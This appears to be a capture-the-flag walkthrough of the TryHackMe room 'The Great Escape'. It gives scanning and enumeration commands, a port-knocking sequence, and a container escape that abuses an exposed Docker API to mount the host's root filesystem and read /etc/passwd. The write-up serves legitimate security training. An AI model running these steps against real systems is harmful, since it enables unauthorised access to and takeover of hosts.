> For the complete documentation index, see [llms.txt](https://jeffgthompsons-organization.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/the-great-escape.md).

# The Great Escape

**Room Link:** <https://tryhackme.com/r/room/thegreatescape>

## Initial Scan <a href="#initial-scan" id="initial-scan"></a>

**Kali**

```
nmap -A $VICTIM
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FoTKhDEDk6EC1CNtvYYyx%2Fimage.png?alt=media&amp;token=a1ae3072-fe30-4fa1-98e0-097fa7ba9740" alt=""><figcaption></figcaption></figure>

## Scan all ports <a href="#scan-all-ports" id="scan-all-ports"></a>

**Kali**

```
nmap -sV -sT -O -p 1-65535 $VICTIM
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FBJE9FYm0YbUQ6quaosJb%2Fimage.png?alt=media&amp;token=91a879ce-eec3-4037-bda0-dd601c05b0f0" alt=""><figcaption></figcaption></figure>

### TCP/80 - HTTP <a href="#tcp-8080-http" id="tcp-8080-http"></a>

Its returning too much from 200 so we need to filter it out

**Kali**

```
gobuster -e dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt --wildcard
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F4h1fqy7tvw3QoG3P6n6G%2Fimage.png?alt=media&amp;token=7e5d006a-875e-4031-a440-1ac0330e6c3a" alt=""><figcaption></figcaption></figure>

**Kali**

Had to add .well-known to the wordlist, wasn't in any of Tryhackme's default wordlists

```
gobuster dir -u http://$VICTIM -w /usr/share/wordlists/dirb/common.txt  --wildcard  -s"204,301,302,307,401,403"
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FOAcUBhHp0QqfUMT4nFtR%2Fimage.png?alt=media&amp;token=509e72e9-f612-40ee-8351-6b5419a9277b" alt=""><figcaption></figcaption></figure>

None of this was working, try later.

**Kali**

```
dirb http://$VICTIM/.well-known -X .txt
```

**Kali**

```
curl http://$VICTIM/.well-known/security.txt
```

**Kali**

```
curl http://$VICTIM/api/fl46
```

**Kali**

```
curl http://$VICTIM/robots.txt
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FGJB4XQrVfn13vsCIcTqv%2Fimage.png?alt=media&amp;token=9ef3618b-aedf-4c3b-b956-35e9d9fe51e4" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FUhRLFhZT4l5kEp8kTydZ%2Fimage.png?alt=media&amp;token=cf4fd888-253b-49ee-b364-cb50739d0d65" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F33Be0rP9pBDSDVJ8lyiM%2Fimage.png?alt=media&amp;token=57f687f5-9a28-45a3-a25a-57a4e19cf5fb" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FJTJl5WT5BWqkuMSnvRl2%2Fimage.png?alt=media&amp;token=2894a956-584c-46f8-b0dc-7cb8043ac787" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FEB3jCgphOgVtkQizXj3m%2Fimage.png?alt=media&amp;token=82f6d845-0da1-44df-bb27-1df510f8a79f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FvJiIRLGqW44wF4xQDsLg%2Fimage.png?alt=media&amp;token=7a407b38-c75b-4f07-b2f4-0d4da56638e1" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fk9CYcFW3GEVgGIExpitL%2Fimage.png?alt=media&amp;token=8e6fe227-cfd8-47a2-86c9-0d30687bae17" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FOQDfqNgIRjrmYGic9Ftq%2Fimage.png?alt=media&amp;token=7207627a-2496-4402-998c-dfdcff700e6e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FylOrCK340mCEarVoaQ7y%2Fimage.png?alt=media&amp;token=f1c519e1-51d8-4bd0-80d6-392f1ce694ca" alt=""><figcaption></figcaption></figure>

**Kali**

```
git clone https://github.com/grongor/knock.git
cd knock
./knock $VICTIM 42 1337 10420 6969 63000
nmap $VICTIM -p 2375
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F0p77uwsN3eywe6MLDNDW%2Fimage.png?alt=media&amp;token=7e4725d4-c434-42c0-a566-fc43db021d03" alt=""><figcaption></figcaption></figure>

**Kali**

```
subl /etc/docker/daemon.json
```

**daemon.json**

```
{
  "insecure-registries" : ["10.10.90.88:2375"]
}
```

**Kali**

```
sudo systemctl stop docker
```

Wait 30 seconds

**Kali**

```
sudo systemctl start docker
```

**Kali**

```
docker -H $VICTIM:2375 images
docker -H $VICTIM:2375 run -v /:/mnt --rm -it alpine:3.9 chroot /mnt sh
cat /etc/passwd
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F8uMTCMcQSMp3tq4MkoQm%2Fimage.png?alt=media&amp;token=8a5a8e64-5092-493c-a679-cd96758eef91" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F812pamqDvTUHbjuMFtOO%2Fimage.png?alt=media&amp;token=39470224-4535-466a-b925-a8b797f01f2f" alt=""><figcaption></figcaption></figure>
